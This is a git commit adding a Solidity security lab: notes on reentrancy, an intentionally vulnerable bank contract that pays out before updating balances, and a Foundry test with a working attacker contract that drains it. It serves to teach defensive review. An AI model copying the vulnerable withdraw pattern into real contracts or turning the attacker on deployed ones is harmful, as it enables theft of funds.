Add blockchain security playground
This commit is contained in:
parent
03fea90cc8
commit
c4865f17c7
|
|
@ -42,3 +42,11 @@ PRIVATE_KEY=0x... forge script script/DeployCounter.s.sol \
|
|||
```
|
||||
|
||||
Use only Anvil dev keys. Do not paste a real wallet key into a shell.
|
||||
|
||||
## Security Exercises
|
||||
|
||||
The intentionally vulnerable examples live in `SECURITY_LAB.md`. Start with:
|
||||
|
||||
```bash
|
||||
./jeannie blockchain-test test/security/Reentrancy.t.sol -vv
|
||||
```
|
||||
|
|
|
|||
|
|
@ -0,0 +1,42 @@
|
|||
# Smart Contract Security Lab
|
||||
|
||||
This folder contains intentionally vulnerable contracts and tests that exploit
|
||||
them. The goal is to learn how bugs work so you can review and defend contracts
|
||||
more effectively.
|
||||
|
||||
Never deploy these contracts outside a local devnet.
|
||||
|
||||
## Current Exercises
|
||||
|
||||
### Reentrancy
|
||||
|
||||
Files:
|
||||
|
||||
- `src/security/VulnerableBank.sol`
|
||||
- `test/security/Reentrancy.t.sol`
|
||||
|
||||
The vulnerable contract sends ETH to the caller before updating internal
|
||||
balances. The attacker contract re-enters `withdraw` from its `receive`
|
||||
function and drains more ETH than it deposited.
|
||||
|
||||
Run:
|
||||
|
||||
```bash
|
||||
./jeannie blockchain-test test/security/Reentrancy.t.sol -vv
|
||||
```
|
||||
|
||||
Defensive fixes to practice:
|
||||
|
||||
- checks-effects-interactions
|
||||
- reentrancy guards
|
||||
- pull-payment patterns
|
||||
- avoiding unnecessary raw calls
|
||||
- invariant tests for total balances
|
||||
|
||||
## Suggested Next Exercises
|
||||
|
||||
- bad access control
|
||||
- `tx.origin` authentication
|
||||
- signature replay without chain ID or nonce
|
||||
- oracle price manipulation simulation
|
||||
- unsafe upgradeable proxy ownership
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
// SPDX-License-Identifier: MIT
|
||||
pragma solidity ^0.8.26;
|
||||
|
||||
contract VulnerableBank {
|
||||
mapping(address account => uint256 balance) public balances;
|
||||
|
||||
function deposit() external payable {
|
||||
balances[msg.sender] += msg.value;
|
||||
}
|
||||
|
||||
function withdraw(uint256 amount) external {
|
||||
require(balances[msg.sender] >= amount, "insufficient balance");
|
||||
|
||||
(bool ok,) = msg.sender.call{value: amount}("");
|
||||
require(ok, "transfer failed");
|
||||
|
||||
unchecked {
|
||||
balances[msg.sender] -= amount;
|
||||
}
|
||||
}
|
||||
|
||||
receive() external payable {}
|
||||
}
|
||||
|
|
@ -0,0 +1,53 @@
|
|||
// SPDX-License-Identifier: MIT
|
||||
pragma solidity ^0.8.26;
|
||||
|
||||
import {Test} from "forge-std/Test.sol";
|
||||
import {VulnerableBank} from "../../src/security/VulnerableBank.sol";
|
||||
|
||||
contract ReentrancyAttacker {
|
||||
VulnerableBank private immutable bank;
|
||||
uint256 private immutable withdrawAmount;
|
||||
uint256 public reentryCount;
|
||||
|
||||
constructor(VulnerableBank targetBank, uint256 targetWithdrawAmount) {
|
||||
bank = targetBank;
|
||||
withdrawAmount = targetWithdrawAmount;
|
||||
}
|
||||
|
||||
function attack() external payable {
|
||||
require(msg.value == withdrawAmount, "seed amount mismatch");
|
||||
|
||||
bank.deposit{value: msg.value}();
|
||||
bank.withdraw(withdrawAmount);
|
||||
}
|
||||
|
||||
receive() external payable {
|
||||
if (address(bank).balance >= withdrawAmount && reentryCount < 3) {
|
||||
reentryCount++;
|
||||
bank.withdraw(withdrawAmount);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
contract ReentrancyTest is Test {
|
||||
VulnerableBank private bank;
|
||||
ReentrancyAttacker private attacker;
|
||||
address private victim = address(0xA11CE);
|
||||
|
||||
function setUp() public {
|
||||
bank = new VulnerableBank();
|
||||
attacker = new ReentrancyAttacker(bank, 1 ether);
|
||||
|
||||
vm.deal(victim, 5 ether);
|
||||
vm.prank(victim);
|
||||
bank.deposit{value: 5 ether}();
|
||||
}
|
||||
|
||||
function testReentrancyDrainsMoreThanAttackerBalance() public {
|
||||
attacker.attack{value: 1 ether}();
|
||||
|
||||
assertEq(attacker.reentryCount(), 3);
|
||||
assertEq(address(attacker).balance, 4 ether);
|
||||
assertEq(address(bank).balance, 2 ether);
|
||||
}
|
||||
}
|
||||
Loading…
Reference in New Issue